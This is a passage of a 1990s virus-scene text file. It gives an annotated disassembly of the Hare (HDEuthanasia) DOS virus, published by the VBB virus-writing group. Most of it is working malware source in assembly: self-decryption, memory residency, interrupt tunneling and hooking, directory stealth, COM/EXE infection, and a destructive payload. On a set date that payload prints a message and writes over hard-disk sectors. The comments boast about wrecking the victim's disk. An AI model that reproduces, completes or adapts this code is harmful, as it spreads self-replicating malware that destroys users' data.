home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
CCTX0497.ZIP
/
VBBUPDT2.ZIP
/
VBB-4.ZIP
/
VBB-4.002
< prev
next >
Wrap
Text File
|
1996-12-24
|
260KB
|
4,770 lines
---------------------------------------------
Hare (alias HDEuthanasia) disassembly
Published by Phardera [VBB]
e-mail: phardera@hotmail.com
---------------------------------------------
Hello all....
This virus was published in VBB #3.
..and now I am present to you a list of this virus (I hope!).
; - HARE.LST -------->>>> CUT HERE <<<<-------------------------------------
comment~
=======================================================
== List of Hare {3} ==
== Disassembly and Analysis by Phardera [VBB] ==
== Published by Virus Bits & Bytes ==
== Tools: - Borland's Turbo Debugger ==
== - Sourcer ==
== ==
== Greetings to: ==
== - Demon Emperor (where are you?) ==
== - Dianita DSR. (in Jakarta, Indonesia) ==
== - All VBB Members (in the world) ==
== ==
== ==
== BTW: My comments start by ;---- and ;// ==
== ==
=======================================================
~
.err Re-assembly not recommended
; The following equates show data references outside the range of the program.
002C data_1e equ 2Ch ; (0000:002C=6Fh)
004C data_2e equ 4Ch ; (0000:004C=774h)
004E data_3e equ 4Eh ; (0000:004E=70h)
006C data_4e equ 6Ch ; (0000:006C=6EEh)
006E data_5e equ 6Eh ; (0000:006E=70h)
0070 data_6e equ 70h ; (0000:0070=0FF53h)
0072 data_7e equ 72h ; (0000:0072=0F000h)
0078 data_8e equ 78h ; (0000:0078=522h)
0084 data_9e equ 84h ; (0000:0084=109Eh)
0086 data_10e equ 86h ; (0000:0086=116h)
008A data_11e equ 8Ah ; (0000:008A=1336h)
0090 data_12e equ 90h ; (0000:0090=155h)
0092 data_13e equ 92h ; (0000:0092=1336h)
00A0 data_14e equ 0A0h ; (0000:00A0=10DAh)
00A2 data_15e equ 0A2h ; (0000:00A2=116h)
0100 data_16e equ 100h ; (0000:0100=59h)
018C data_17e equ 18Ch ; (0000:018C=0)
0413 data_18e equ 413h ; (0000:0413=280h)
041A data_19e equ 41Ah ; (0000:041A=30h)
041C data_20e equ 41Ch ; (0000:041C=30h)
043F data_21e equ 43Fh ; (0000:043F=0)
048E data_22e equ 48Eh ; (0000:048E=0)
7C00 data_23e equ 7C00h ; (0000:7C00=2)
7DBE data_24e equ 7DBEh ; (0000:7DBE=32h)
0000 data_25e equ 0 ; (1336:0000=20CDh)
0008 data_26e equ 8 ; (2ABF:0008=46h)
0000 data_27e equ 0 ; (72E0:0000=0FFh)
0003 data_28e equ 3 ; (72E0:0003=0FFFFh)
1E77 data_163e equ 1E77h ; (9804:1E77=0)
1E78 data_164e equ 1E78h ; (9804:1E78=0)
1E7A data_165e equ 1E7Ah ; (9804:1E7A=0)
1E7E data_166e equ 1E7Eh ; (9804:1E7E=0)
1E80 data_168e equ 1E80h ; (9804:1E80=0)
1E82 data_169e equ 1E82h ; (9804:1E82=0)
1F6A data_170e equ 1F6Ah ; (9804:1F6A=0)
1F6C data_171e equ 1F6Ch ; (9804:1F6C=0)
2000 data_172e equ 2000h ; (9804:2000=0)
2028 data_173e equ 2028h ; (9804:2028=0)
206A data_174e equ 206Ah ; (9804:206A=0)
20BA data_175e equ 20BAh ; (9804:20BA=0)
7C00 data_176e equ 7C00h ; (9804:7C00=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
hare proc far
0000 start:
0000 mov si,9
0003 cld ; Clear direction
0004 sti ; Enable interrupts
0005 mov cx,0F2Ch
0008 , mov di,14h ; (9804:0014=0B8h)
000B add di,si
;--------------------- Decryptor 1/2 (after polymorphic decryptor)
000D locloop_3: ; xref 9804:0012
000D not word ptr cs:[di]
0010 inc di
0011 inc di
0012 loop locloop_3 ; Loop if cx > 0
0014 mov ax,0FE23h ;// ID = 0FE23h
0017 int 21h ;// Check virus in memory
0019 cmp ax,0Dh ;// Virus already in memory?
001C push si
001D push ds
001E jnz loc_4 ;// NO! Lets fuck!
0020 jmp loc_11 ;// Restore header file (010F)
0023 loc_4: ; xref 9804:001E
0023 mov al,0A9h
0025 or al,al ; Zero ?
0027 jz loc_6 ; Jump if zero
0029 mov ah,al
002B add ah,1
002E mov cx,0E65h
0031 , mov di,1A2h ; (9804:01A2=50h)
0034 add di,si
;--------------------- Decryptor 2/2 ------------------------------
0036 locloop_5: ; xref 9804:0040
0036 xor cs:[di],ax
0039 inc di
003A inc di
003B add al,2
003D add ah,2
0040 loop locloop_5 ; Loop if cx > 0
;-------------------- Fuck memory size --------------------
0042 loc_6: ; xref 9804:0027
0042 int 12h ; Put (memory size)/1K in ax
0044 mov cl,6
0046 shl ax,cl ; Shift w/zeros fill
0048 dec ax
0049 mov es,ax
004B cmp word ptr es:data_26e,4353h ; (2ABF:0008=46h)
0052 je loc_8 ; Jump if equal
0054 loc_7: ; xref 9804:0078
0054 mov ah,52h
0056 int 21h ; DOS Services ah=function 52h
; get DOS data table ptr es:bx
;-------------------- Fuck MCB ---------------------------------------
0058 mov ax,es:[bx-2]
005C loc_8: ; xref 9804:0052, 006F
005C , mov es,ax
005E cmp byte ptr es:data_27e,5Ah ; (72E0:0000=0FFh) 'Z'
0064 je loc_9 ; Jump if equal
0066 mov ax,es:data_28e ; (72E0:0003=0FFFFh)
006A inc ax
006B mov bx,es
006D add ax,bx
006F jmp short loc_8 ; (005C)
0071 loc_9: ; xref 9804:0064
0071 mov ax,es:data_28e ; (72E0:0003=0FFFFh)
0075 sub ax,22Dh
0078 jc loc_7 ; Jump if carry Set
007A mov es:data_28e,ax ; (72E0:0003=0FFFFh)
007E inc ax
007F mov bx,es
0081 add ax,bx
0083 mov es,ax
0085 pop ds
0086 pop si
0087 push si
0088 push ds
0089 push cs
008A pop ds
;--------------- Copy virus to memory ---------------------------------
008B mov cx,1E6Ah ;// Size
008E xor di,di ; Zero register
0090 cld ; Clear direction
0091 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
0093 push es
0094 mov ax,99h
0097 push ax
0098 retf ;// GOTO CS:0099h
0099 mov cs:data_59,cl ; (9804:018C=4)
009E mov ax,160Ah
00A1 int 2Fh ; ??int non-standard interrupt
00A3 or ax,ax ; Zero ?
00A5 jnz loc_10 ; Jump if not zero
00A7 cmp cx,3
00AA jb loc_10 ; Jump if below
00AC or byte ptr cs:data_59,80h ; (9804:018C=4)
00B2 loc_10: ; xref 9804:00A5, 00AA
00B2 call sub_20 ; (08D0)
00B5 call sub_48 ; (1379)
00B8 push cs
00B9 pop ds
00BA mov ah,52h
00BC int 21h ; DOS Services ah=function 52h
; get DOS data table ptr es:bx
;----------- Fuck Interrupt for Virus ---------------------
00BE mov ax,es:[bx-2]
00C2 mov data_53,ax ; (9804:0182=206h)
00C5 mov byte ptr data_62,19h ; (9804:0191=0)
00CA mov byte ptr data_55,0 ; (9804:0185=0)
00CF mov byte ptr data_54,1 ; (9804:0184=0)
00D4 mov ax,3521h
00D7 int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
00D9 mov data_39,bx ; (9804:0164=4A0h)
00DD mov word ptr data_39+2,es ; (9804:0166=315h)
00E1 mov data_51,bx ; (9804:017E=61F7h)
00E5 mov word ptr data_51+2,es ; (9804:0180=2099h)
00E9 call sub_2 ;// Tunneling int 21h (01F6)
00EC cld ; Clear direction
00ED , mov si,offset data_51 ; (9804:017E=0F7h)
00F0 , mov di,160h ; (9804:0160=0B2h)
00F3 movsw ; Mov [si] to es:[di]
00F4 movsw ; Mov [si] to es:[di]
00F5 xor ax,ax ; Zero register
00F7 mov ds,ax
00F9 mov word ptr ds:data_9e,388h ; (0000:0084=109Eh)
00FF mov ds:data_10e,cs ; (0000:0086=116h)
0103 call sub_57 ;// Trap int 13h (1827)
0106 call sub_16 ;// Pay load! (0778)
0109 pop es
010A pop si
010B xor si,si ; Zero register
010D push si
010E push es
;------------------- Restore header file --------------------------
010F loc_11: ; xref 9804:0020
010F pop es
0110 pop si
0111 push es
0112 pop ds
0113 push ds
0114 cmp byte ptr cs:data_48[si],1 ;// EXE? (9804:0179=1)
011A je $+15h ;// Yup! goto CS:012FH
;----------- COM --------------------------------
011C , add si,offset data_42 ; (9804:016B=10h)
0120 , mov di,data_16e ; (0000:0100=59h)
0123 push di
0124 cld ; Clear direction
0125 push cs
0126 pop ds
0127 movsw ; Mov [si] to es:[di]
0128 movsb ; Mov [si] to es:[di]
0129 push es
012A pop ds
012B call sub_1 ;// Registers to zero (0192)
012E retf ; Return far
;----------- EXE --------------------------------
012F mov ax,cs:data_43[si] ; (9804:016D=47h)
0134 pop bx
0135 add bx,10h
0138 add ax,bx
013A mov word ptr cs:[15Eh][si],ax ; (9804:015E=0BF2h)
013F mov ax,cs:data_42[si] ; (9804:016B=10h)
0144 mov word ptr cs:[15Ch][si],ax ; (9804:015C=0BBh)
0149 add word ptr cs:[171h][si],bx ; (9804:0171=411h)
014E call sub_1 ;// Registers to zero (0192)
0151 mov ss,word ptr cs:[171h][si] ; (9804:0171=411h)
0156 mov sp,word ptr cs:[16Fh][si] ; (9804:016F=1400h)
015B jmp far ptr $-0A0h
;----------------- CS:015Eh...... the real header
0160 mov dl,0Fh
0162 db 0C9h, 00h
0164 data_39 dw 4A0h, 315h ; xref 9804:00D9, 0306, 03D6, 17B3
0168 data_41 db 90h ; xref 9804:063F
0169 db 90h, 90h
016B data_42 dw 10h ; Data table (indexed access)
; xref 9804:011C, 013F, 04F6
016D data_43 dw 47h ; Data table (indexed access)
; xref 9804:012F
016F dw 1400h ; Data table (indexed access)
0171 data_44 db 11h ; Data table (indexed access)
; xref 9804:0149, 0151, 0501
0172 db 4
0173 data_45 dw 9 ; xref 9804:051E
0175 data_46 dw 24h ; xref 9804:0524
0177 data_47 dw 61F7h ; xref 9804:0518
0179 data_48 db 1 ; Data table (indexed access)
; xref 9804:0114, 050B, 05F1, 0AE1
; 0D23, 0F3B, 134D
017A data_49 dw 1E73h, 400h ; xref 9804:01FB, 0223, 0544, 0552
; 0599, 05C2, 05CB
017E data_51 dw 61F7h, 2099h ; xref 9804:00E1, 00ED, 01DE, 0218
; 0459, 04A5, 04AC, 0515
; 066F, 067D, 1049, 1183
; 1259, 12A3, 12AA, 1962
; 196E
0182 data_53 dw 206h ; xref 9804:00C2, 01C2, 194D
0184 data_54 db 0 ; xref 9804:00CF, 01C9, 01D1, 1958
0185 data_55 db 0 ; xref 9804:00CA, 01E6, 01EF, 0249
; 1953
0186 ,data_56 dw 0 ; segment storage
; xref 9804:01AE, 01B3, 0691, 06A2
0188 data_57 dd 00000h ; xref 9804:16FE, 177F, 17A2
018C data_59 db 4 ; xref 9804:0099, 00AC, 030F, 03DB
; 047E, 06EF, 0A87, 0C68
; 0C8F, 0D2F, 0D35, 0DAD
; 0E29, 124E, 1346, 13F5
; 1543, 1567, 1570, 1835
; 1869, 1876, 1CBD, 1E23
018D data_60 dw 0A17h ; xref 9804:02D4, 02EF
018F data_61 dw 114Bh ; xref 9804:02E7, 02FE
0191 data_62 db 0 ; xref 9804:00C5, 0213, 02DB, 02F4
; 1948
hare endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:012B, 014E
;==========================================================================
;------------- Clear registers -------------------------------
0192 sub_1 proc near
0192 xor ax,ax ; Zero register
0194 , push ax
0195 popf ; Pop flags
0196 sti ; Enable interrupts
0197 mov cx,ax
0199 mov di,ax
019B mov bp,ax
019D mov dx,ax
019F mov bx,ax
01A1 retn
sub_1 endp
;==========================================================================
;
; External Entry Point
;
;==========================================================================
;--------------- Tracing Interrupt -----------------------------
01A2 int_01h_entry proc far ; xref 9804:0203
01A2 push ax
01A3 push bx
01A4 push bp
01A5 push ds
01A6 mov bp,sp
01A8 mov ax,[bp+0Ah]
01AB mov bx,[bp+8]
01AE mov cs:data_56,cs ; (9804:0186=9804h)
01B3 cmp ax,cs:data_56 ; (9804:0186=9804h)
01B8 je loc_13 ; Jump if equal
01BA call sub_3 ; (0231)
01BD cmp ax,0F000h
01C0 jae loc_12 ; Jump if above or =
01C2 cmp ax,cs:data_53 ; (9804:0182=206h)
01C7 ja loc_13 ; Jump if above
01C9 loc_12: ; xref 9804:01C0
01C9 and cs:data_54,1 ; (9804:0184=0)
01CF jz loc_13 ; Jump if zero
01D1 mov cs:data_54,0 ; (9804:0184=0)
01D7 mov word ptr cs:data_51+2,ax ; (9804:0180=2099h)
01DB mov ax,[bp+8]
01DE mov cs:data_51,ax ; (9804:017E=61F7h)
01E2 loc_13: ; xref 9804:01B8, 01C7, 01CF
01E2 pop ds
01E3 pop bp
01E4 pop bx
01E5 pop ax
01E6 cmp cs:data_55,1 ; (9804:0185=0)
01EC je loc_14 ; Jump if equal
01EE iret ; Interrupt return
int_01h_entry endp
01EF loc_14: ; xref 9804:01EC
01EF mov cs:data_55,0 ; (9804:0185=0)
01F5 retf ; Return far
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:00E9, 196A
;==========================================================================
;----------------- Tunneling Interrupt -------------------------------
01F6 sub_2 proc near
01F6 mov ax,3501h ;// Int 1 (Single step)
01F9 int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
01FB mov data_49,bx ; (9804:017A=1E73h)
01FF mov word ptr data_49+2,es ; (9804:017C=400h)
0203 , mov dx,offset int_01h_entry ;// If TF On!
0206 mov ah,25h
0208 int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
020A xor dl,dl ; Zero register
020C pushf ; Push flags
020D pop ax
020E or ax,100h ;// Set TF On
0211 push ax
0212 popf ;// Call Int 1
0213 mov ah,data_62 ; (9804:0191=0)
0217 pushf ; Push flags
0218 call dword ptr data_51 ; (9804:017E=61F7h)
021C pushf ; Push flags
021D pop ax
021E and ax,0FEFFh
0221 push ax
0222 popf ; Pop flags
0223 lds dx,dword ptr data_49 ; (9804:017A=1E73h) Load seg:offset pt
0227 mov ax,2501h
022A int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
022C push cs
022D push cs
022E pop es
022F pop ds
0230 retn
sub_2 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:01BA
;==========================================================================
0231 sub_3 proc near
0231 push ax
0232 mov ds,ax
0234 mov al,[bx]
0236 cmp al,9Dh
0238 jne loc_15 ; Jump if not equal
023A or word ptr [bp+0Ch],100h
023F jmp short loc_16 ; (024F)
0241 nop
0242 loc_15: ; xref 9804:0238
0242 cmp al,9Ch
0244 jne loc_16 ; Jump if not equal
0246 inc word ptr [bp+8]
0249 mov cs:data_55,1 ; (9804:0185=0)
024F loc_16: ; xref 9804:023F, 0244
024F pop ax
0250 retn
sub_3 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:16F4
;==========================================================================
;----------------- Pay load & destroyer! --------------------------------
0251 sub_4 proc near
0251 mov ah,4
0253 int 1Ah ; Real time clock ah=func 04h
; get date cx=year, dx=mon/day
0255 test dh,8 ;// August
0258 jz loc_ret_17 ; Jump if zero
025A cmp dl,22h ;// 22
025D je loc_18 ; Jump if equal
025F loc_ret_17: ; xref 9804:0258
025F retn
0260 loc_18: ; xref 9804:025D
0260 mov ax,3
0263 int 10h ; Video display ah=functn 00h
; set display mode in al
0265 , mov si,offset data_156 ; (9804:1E2D='"HDEuthanasia-v3')
0268 mov bh,0
026A mov cx,3Dh
026D locloop_19: ; xref 9804:0272
026D lodsb ; String [si] to al
026E mov ah,0Eh
0270 int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
0272 loop locloop_19 ; Loop if cx > 0
;--------------- Oh no...fucking your HD -------------------
0274 mov dl,80h
0276 loc_20: ; xref 9804:02C3
0276 , mov bh,dl
0278 xor dl,1
027B mov ah,8
027D int 13h ; Disk dl=drive 1 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
027F and cl,3Fh ; '?'
0282 mov al,cl
0284 mov ah,3 ;// AH=3 --> Write!
0286 push ax
0287 mov dl,bh
0289 mov ah,8
028B int 13h ; Disk dl=drive 0 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
028D and cl,3Fh ; '?'
0290 mov al,cl
0292 mov ah,3 ;// AH=3 --> Write!
0294 mov dl,bh
0296 mov cx,101h
0299 push ax
029A mov bp,sp
029C loc_21: ; xref 9804:02B6, 02BB
029C push dx
029D loc_22: ; xref 9804:02B1
029D test dl,1
02A0 jnz loc_23 ; Jump if not zero
02A2 mov ax,[bp] ;// AH=3 --> Write!
02A5 jmp short loc_24 ; (02AA)
02A7 loc_23: ; xref 9804:02A0
02A7 mov ax,[bp+2] ;// AH=3 --> Write!
02AA loc_24: ; xref 9804:02A5
02AA int 13h ; ??int non-standard interrupt
02AC xor dl,1
02AF dec dh
02B1 jnz loc_22 ; Jump if not zero
02B3 pop dx
02B4 inc ch
02B6 jnz loc_21 ; Jump if not zero
02B8 add cl,40h ; '@'
02BB jnc loc_21 ; Jump if carry=0
02BD add dl,2
02C0 add sp,4
02C3 jmp short loc_20 ; (0276)
sub_4 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:02D0, 02E4, 02FB, 031D, 03EA, 040F, 0452
; 046C, 04B4, 054F, 0572, 05DF, 05ED, 060C
; 0622, 065A, 0665, 066C, 0687, 068E, 069B
; 06A7, 07CE, 0A40, 0E67, 1016, 1041, 1069
; 10A2, 10B8, 113A, 1145, 11AC, 11B7, 11BF
; 11C6, 126F, 1280, 12B4
;==========================================================================
02C5 sub_5 proc near
02C5 pushf ; Push flags
02C6 call dword ptr cs:[160h] ; (9804:0160=0FB2h)
02CB retn
sub_5 endp
02CC loc_25: ; xref 9804:0393
02CC , push bx
02CD push ax
02CE mov ah,62h ; 'b'
02D0 call sub_5 ; (02C5)
02D3 pop ax
02D4 cmp cs:data_60,bx ; (9804:018D=0A17h)
02D9 jne loc_26 ; Jump if not equal
02DB cmp cs:data_62,dl ; (9804:0191=0)
02E0 jne loc_26 ; Jump if not equal
02E2 pop bx
02E3 popf ; Pop flags
02E4 call sub_5 ; (02C5)
02E7 mov bx,cs:data_61 ; (9804:018F=114Bh)
02EC retf 2 ; Return far
02EF loc_26: ; xref 9804:02D9, 02E0
02EF mov cs:data_60,bx ; (9804:018D=0A17h)
02F4 mov cs:data_62,dl ; (9804:0191=0)
02F9 pop bx
02FA popf ; Pop flags
02FB call sub_5 ; (02C5)
02FE mov cs:data_61,bx ; (9804:018F=114Bh)
0303 retf 2 ; Return far
;--------------- Dir Stealth ----------------------------------
0306 loc_27: ; xref 9804:037E
0306 call dword ptr cs:data_39 ; (9804:0164=4A0h)
030B pushf ; Push flags
030C push ax
030D push bx
030E push es
030F test cs:data_59,2 ; (9804:018C=4)
0315 jnz loc_31 ; Jump if not zero
0317 or al,al ; Zero ?
0319 jnz loc_31 ; Jump if not zero
031B mov ah,2Fh ; '/'
031D call sub_5 ; (02C5)
0320 cmp byte ptr cs:[380h],40h ; (9804:0380=4Eh) '@'
0326 ja loc_29 ; Jump if above
0328 or word ptr es:[bx+26h],0
032D jnz loc_28 ; Jump if not zero
032F cmp word ptr es:[bx+24h],1E9Ch
0335 jb loc_31 ; Jump if below
0337 loc_28: ; xref 9804:032D
0337 mov ax,es:[bx+1Eh]
033B and al,1Fh
033D cmp al,11h
033F jne loc_31 ; Jump if not equal
0341 sub word ptr es:[bx+24h],1EB0h
0347 sbb word ptr es:[bx+26h],0
034C jmp short loc_31 ; (0372)
034E loc_29: ; xref 9804:0326
034E or word ptr es:[bx+1Ch],0
0353 jnz loc_30 ; Jump if not zero
0355 cmp word ptr es:[bx+1Ah],1E9Ch
035B jb loc_31 ; Jump if below
035D loc_30: ; xref 9804:0353
035D mov ax,es:[bx+16h]
0361 and al,1Fh
0363 cmp al,11h
0365 jne loc_31 ; Jump if not equal
0367 sub word ptr es:[bx+1Ah],1EB0h
036D sbb word ptr es:[bx+1Ch],0
0372 loc_31: ; xref 9804:0315, 0319, 0335, 033F
; 034C, 035B, 0365
0372 pop es
0373 pop bx
0374 pop ax
0375 popf ; Pop flags
0376 retf 2 ; Return far
0379 loc_32: ; xref 9804:03B0, 03B5, 03BA, 03BF
0379 mov byte ptr cs:[380h],ah ; (9804:0380=4Eh)
037E jmp short loc_27 ; (0306)
0380 dec si
0381 loc_33: ; xref 9804:038C
0381 mov ax,0Dh
0384 popf ; Pop flags
0385 retf 2 ; Return far
0388 pushf ; Push flags
;---------------- Trap Int 21h -------------------------------------------
0389 cmp ax,0FE23h
038C je loc_33 ; Jump if equal
038E cmp ah,36h ; '6'
0391 jne loc_34 ; Jump if not equal
0393 jmp loc_25 ; (02CC)
0396 loc_34: ; xref 9804:0391
0396 cmp ah,4Ch ; 'L'
0399 je loc_38 ; Jump if equal
039B cmp ah,31h ; '1'
039E je loc_38 ; Jump if equal
03A0 cmp ah,0
03A3 je loc_38 ; Jump if equal
03A5 cmp ax,4B00h
03A8 jne loc_35 ; Jump if not equal
03AA call sub_6 ; (0426)
03AD loc_35: ; xref 9804:03A8
03AD cmp ah,11h
03B0 je loc_32 ; Jump if equal
03B2 cmp ah,12h
03B5 je loc_32 ; Jump if equal
03B7 cmp ah,4Eh ; 'N'
03BA je loc_32 ; Jump if equal
03BC cmp ah,4Fh ; 'O'
03BF je loc_32 ; Jump if equal
03C1 cmp ah,3Dh ; '='
03C4 jne loc_36 ; Jump if not equal
03C6 call sub_40 ; (1005)
03C9 loc_36: ; xref 9804:03C4
03C9 cmp ah,3Eh ; '>'
03CC jne loc_37 ; Jump if not equal
03CE popf ; Pop flags
03CF call sub_45 ; (1242)
03D2 retf 2 ; Return far
03D5 loc_37: ; xref 9804:03CC
03D5 popf ; Pop flags
03D6 jmp dword ptr cs:data_39 ; (9804:0164=4A0h)
03DB loc_38: ; xref 9804:0399, 039E, 03A3
03DB and cs:data_59,4 ; (9804:018C=4)
03E1 push ax
03E2 push bx
03E3 push cx
03E4 push dx
03E5 push di
03E6 push es
03E7 push ds
03E8 mov ah,62h ; 'b'
03EA call sub_5 ; (02C5)
03ED jc loc_40 ; Jump if carry Set
03EF cld ; Clear direction
03F0 mov es,bx
03F2 mov es,es:data_1e ; (0000:002C=6Fh)
03F7 xor di,di ; Zero register
03F9 mov al,0
03FB loc_39: ; xref 9804:0403
03FB mov cx,0FFFFh
03FE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
0400 cmp es:[di],al
0403 jne loc_39 ; Jump if not equal
0405 add di,3
0408 mov dx,di
040A push es
040B pop ds
040C mov ax,3D00h
040F call sub_5 ; (02C5)
0412 jc loc_40 ; Jump if carry Set
0414 mov bx,ax
0416 call sub_45 ; (1242)
0419 loc_40: ; xref 9804:03ED, 0412
0419 pop ds
041A pop es
041B pop di
041C pop dx
041D pop cx
041E pop bx
041F pop ax
0420 popf ; Pop flags
0421 jmp dword ptr cs:[160h] ; (9804:0160=0FB2h)
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:03AA
;==========================================================================
0426 sub_6 proc near
0426 push ax
0427 push bx
0428 push cx
0429 push dx
042A push es
042B push ds
042C push di
042D push si
042E call sub_7 ; (04C6)
0431 call sub_42 ; (11CA)
0434 call sub_12 ; (068B)
0437 call sub_15 ; (06FE)
043A pushf ; Push flags
043B push ds
043C push cs
043D pop ds
043E , mov di,offset data_66 ; (9804:073B='LP.EXE9E.EXE')
0441 , mov si,offset data_67 ; (9804:0748='LP.EXED.COME')
0444 add bx,4
0447 mov cx,bx
0449 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
044B pop ds
044C popf ; Pop flags
044D jc loc_46 ; Jump if carry Set
044F mov ax,3D02h
0452 call sub_5 ; (02C5)
0455 xchg bx,ax
0456 call sub_10 ; (0669)
0459 mov ax,cs:data_51 ; (9804:017E=61F7h)
045D and al,1Fh
045F push ax
0460 mov ah,3Fh ; '?'
0462 mov cx,1Ch
0465 push cs
0466 pop ds
0467 push ds
0468 pop es
0469 mov dx,1E6Ah
046C call sub_5 ; (02C5)
046F mov si,dx
0471 cld ; Clear direction
0472 lodsw ; String [si] to ax
0473 cmp ax,5A4Dh
0476 je loc_41 ; Jump if equal
0478 cmp ax,4D5Ah
047B jne loc_43 ; Jump if not equal
047D loc_41: ; xref 9804:0476
047D pop ax
047E test data_59,4 ; (9804:018C=4)
0483 jz loc_42 ; Jump if zero
0485 cmp al,11h
0487 je loc_45 ; Jump if equal
0489 call sub_8 ; (04EB)
048C jnc loc_44 ; Jump if carry=0
048E jmp short loc_46 ; (04B2)
0490 loc_42: ; xref 9804:0483
0490 cmp al,11h
0492 jne loc_45 ; Jump if not equal
0494 call sub_41 ; (107B)
0497 jnc loc_45 ; Jump if carry=0
0499 jmp short loc_46 ; (04B2)
049B loc_43: ; xref 9804:047B
049B pop ax
049C cmp al,11h
049E je loc_46 ; Jump if equal
04A0 call sub_9 ; (05F1)
04A3 jc loc_45 ; Jump if carry Set
04A5 loc_44: ; xref 9804:048C
04A5 mov ax,data_51 ; (9804:017E=61F7h)
04A8 and al,0E0h
04AA or al,11h
04AC mov data_51,ax ; (9804:017E=61F7h)
04AF loc_45: ; xref 9804:0487, 0492, 0497, 04A3
04AF call sub_11 ; (067A)
04B2 loc_46: ; xref 9804:044D, 048E, 0499, 049E
04B2 mov ah,3Eh ; '>'
04B4 call sub_5 ; (02C5)
04B7 call sub_13 ; (069F)
04BA call sub_43 ; (1209)
04BD pop si
04BE pop di
04BF pop ds
04C0 pop es
04C1 pop dx
04C2 pop cx
04C3 pop bx
04C4 pop ax
04C5 retn
sub_6 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:042E
;==========================================================================
04C6 sub_7 proc near
04C6 call sub_16 ; (0778)
04C9 mov ax,160Ah
04CC int 2Fh ; ??int non-standard interrupt
04CE or ax,ax ; Zero ?
04D0 jnz loc_ret_48 ; Jump if not zero
04D2 cmp bh,4
04D5 jb loc_ret_48 ; Jump if below
04D7 mov ax,5445h
04DA int 13h ; ??int non-standard interrupt
04DC cmp ax,4554h
04DF jne loc_ret_48 ; Jump if not equal
04E1 call sub_16 ; (0778)
04E4 jc loc_47 ; Jump if carry Set
04E6 retn
04E7 loc_47: ; xref 9804:04E4
04E7 call sub_71 ; (1AE8)
04EA loc_ret_48: ; xref 9804:04D0, 04D5, 04DF
04EA retn
sub_7 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0489, 129E
;==========================================================================
;---------------- Reloc EXE header -------------------------------
04EB sub_8 proc near
04EB cmp word ptr ds:data_169e,40h ; (9804:1E82=0)
04F0 jne loc_50 ; Jump if not equal
04F2 stc ; Set carry flag
04F3 loc_49: ; xref 9804:0513
04F3 jmp loc_ret_56 ; (05F0)
04F6 loc_50: ; xref 9804:04F0
04F6 , mov di,offset data_42 ; (9804:016B=10h)
04F9 , mov si,data_166e ; (9804:1E7E=0)
04FC movsw ; Mov [si] to es:[di]
04FD movsw ; Mov [si] to es:[di]
04FE , mov si,data_164e ; (9804:1E78=0)
0501 , mov di,offset data_44 ; (9804:0171=11h)
0504 movsw ; Mov [si] to es:[di]
0505 sub di,4
0508 movsw ; Mov [si] to es:[di]
0509 mov si,dx
050B mov data_48,1 ; (9804:0179=1)
0510 call sub_47 ; (1346)
0513 jc loc_49 ; Jump if carry Set
0515 mov ax,data_51 ; (9804:017E=61F7h)
0518 mov data_47,ax ; (9804:0177=61F7h)
051B mov ax,[si+2]
051E mov data_45,ax ; (9804:0173=9)
0521 mov ax,[si+4]
0524 mov data_46,ax ; (9804:0175=24h)
0527 mov ax,[si+4]
052A mov dx,200h
052D cmp word ptr [si+2],0
0531 je loc_51 ; Jump if equal
0533 dec ax
0534 loc_51: ; xref 9804:0531
0534 mul dx ; dx:ax = reg * ax
0536 mov word ptr data_49+2,dx ; (9804:017C=400h)
053A mov dx,[si+2]
053D add ax,dx
053F adc word ptr data_49+2,0 ; (9804:017C=400h)
0544 mov data_49,ax ; (9804:017A=1E73h)
0547 push ax
0548 xor cx,cx ; Zero register
054A mov dx,cx
054C mov ax,4202h
054F call sub_5 ; (02C5)
0552 sub ax,data_49 ; (9804:017A=1E73h)
0556 jz loc_52 ; Jump if zero
0558 pop ax
0559 stc ; Set carry flag
055A jmp loc_ret_56 ; (05F0)
055D loc_52: ; xref 9804:0556
055D sub dx,word ptr data_49+2 ; (9804:017C=400h)
0561 jz loc_53 ; Jump if zero
0563 pop ax
0564 stc ; Set carry flag
0565 jmp loc_ret_56 ; (05F0)
0568 loc_53: ; xref 9804:0561
0568 pop ax
0569 mov cx,word ptr data_49+2 ; (9804:017C=400h)
056D mov dx,ax
056F mov ax,4200h
0572 call sub_5 ; (02C5)
0575 mov ax,1E7Bh
0578 mov dx,[si+2]
057B add dx,ax
057D loc_54: ; xref 9804:0588
057D inc word ptr [si+4]
0580 sub dx,200h
0584 cmp dx,200h
0588 ja loc_54 ; Jump if above
058A jnz loc_55 ; Jump if not zero
058C xor dx,dx ; Zero register
058E loc_55: ; xref 9804:058A
058E mov [si+2],dx
0591 mov ax,[si+8]
0594 mov cx,10h
0597 mul cx ; dx:ax = reg * ax
0599 mov cx,data_49 ; (9804:017A=1E73h)
059D sub cx,ax
059F sbb word ptr data_49+2,dx ; (9804:017C=400h)
05A3 mov di,word ptr data_49+2 ; (9804:017C=400h)
05A7 mov si,cx
05A9 mov dx,di
05AB mov ax,si
05AD mov cx,10h
05B0 div cx ; ax,dx rem=dx:ax/reg
05B2 mov di,ax
05B4 mov si,dx
05B6 mov data_78,si ; (9804:0E6E=9)
05BA mov word ptr ds:[1],si ; (9804:0001=9)
05BE add si,1E6Ah
05C2 mov data_49,si ; (9804:017A=1E73h)
05C6 mov word ptr data_49+2,di ; (9804:017C=400h)
05CA cld ; Clear direction
05CB , mov si,offset data_49 ; (9804:017A=73h)
05CE , mov di,data_166e ; (9804:1E7E=0)
05D1 movsw ; Mov [si] to es:[di]
